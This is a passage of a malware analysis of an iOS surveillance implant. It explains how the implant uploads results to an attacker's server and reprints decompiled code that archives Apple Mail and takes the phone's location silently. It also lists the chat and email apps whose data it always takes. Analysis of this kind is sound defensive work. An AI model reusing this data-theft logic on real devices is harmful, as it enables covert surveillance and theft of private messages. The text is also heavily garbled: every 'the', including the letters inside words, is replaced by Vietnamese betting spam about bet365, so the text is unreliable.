Each command is responsible for uploading its results to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server. After each command is complete a GET request is made to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 /list/suc?name=X endpoint, where X is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command which completed. A cookie containing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device serial number is sent along with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GET request.

The majority of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se commands work by creating tar archives of fixed lists of directories based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 desired information and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 version of iOS which is running. Here, for example, is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 systemmail command:

-[Service requestSystemMail] {
  NSLog(@"requestSystemMail")
  maildir = [Util dirOfSystemMail]
  if ([maildir length] != 0) {
    [Util tarWithSplit:maildir
          name:@"systemmail"
          block:^(id files) // dictionary {filename:filepath} 
          {
            while ([self postFiles:files] == 0) {
              [NSThread sleepForTimeInterval:10.0]
            }
          }
    ]
  }
}

+[Util dirOfSystemMail] {
  return @"/private/var/mobile/Library/Mail";
}

This uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 [Util tarWithSplit] method to archive cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 /private/var/mobile/Library/Mail folder, which contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of all locally-stored email sent and received with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 built-in Apple Mail.app.

Here's anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r example of a command, locate, which uses CoreLocation to request a geolocation fix for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device. Because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 com.apple.locationd.preauthorized entitlement set to true this will not prompt cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user for permission to access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir location.


-[Service requestLocation] {
  NSLog(@"requestLocation");
  self->_locating = 1;

  if (!self->_lm) {
    lm = [[CLLocationManager alloc] init];
    [self->_lm release];
    self->_lm = lm;
    
    // cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 delegate's locationManager:didUpdateLocations: selector
    // will be called when location information is available
    [self->_lm setDelegate:self];
    [self->_lm setDesiredAccuracy:kCLLocationAccuracyBest];
  }

  [self->lm startUpdatingLocation];
}

-[Service locationManager:manager didUpdateLocations:locations] {
  [self stopUpdatingLocation];
  loc = [locations lastObject];
  if (self->_locating) {
    struct CLLocationCoordinate2D coord = [loc coordinate];
    dict = @{@"lat" : [NSNumber numberWithDouble:coord.latitude],
             @"lon" : [NSNumber numberWithDouble:coord.longitude]};

    path = [@"/tmp" stringByAppendingPathComponent[NSUUID UUIDString];
    [dict writeToFile:path atomically:1];

    while(1){
      fdict = @{@"gps.plist": path};
      if([self postFiles:fdict remove:1]) {
        break;
      }

      [NSThread sleepForTimeInterval:10.0];
  }
}

Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 response to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location command, which can be sent up to every 60 seconds (note: I have changed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 location to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 peak of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Matterhorn in Switzerland):


lat
45.976451000646013
lng
7.6585657688044914

App contents

Various implant commands enable cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers to steal cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 container directories of third-party apps. The implant contains a hardcoded list of apps which will always have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir container directories uploaded when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant starts up. The command-and-control server can also query for a list of all 3rd party apps and request uploads of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir container directories.

These container directories are where most iOS apps store all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir data; for example, this is where end-to-end encryption apps store unencrypted copies of all sent and received messages. 

Here's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pre-populated list of bundle identifiers for third-party apps, which will always have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir container directories uploaded if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 apps are installed:

com.yahoo.Aerogram
com.microsoft.Office.Outlook
com.netease.mailmaster
com.rebelvox.voxer-lite
com.viber
com.google.Gmail
ph.telegra.Telegraph
com.tencent.qqmail
com.atebits.Tweetie2
net.whatsapp.WhatsApp
com.skype.skype
com.facebook.Facebook
com.tencent.xin

If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers were interested in ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r apps installed on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y could use a combination of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 applist and app commands to get a listing of all installed app ids, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n upload a particular app's container directory by id. The allapp command will upload all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 container directories for all apps on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device.

Impact

The implant has access to almost all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 personal information available on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device, which it is able to upload, unencrypted, to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker's server. The implant binary does not persist on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device; if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 phone is rebooted cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implant will not run until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device is re-exploited when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user visits a compromised site again. Given cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 breadth of information stolen, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attackers may nevercá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365less be able to maintain persistent access to various accounts and services by using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stolen aucá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ntication tokens from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 keychain, even after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y lose access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 device.

No comments:

Post a Comment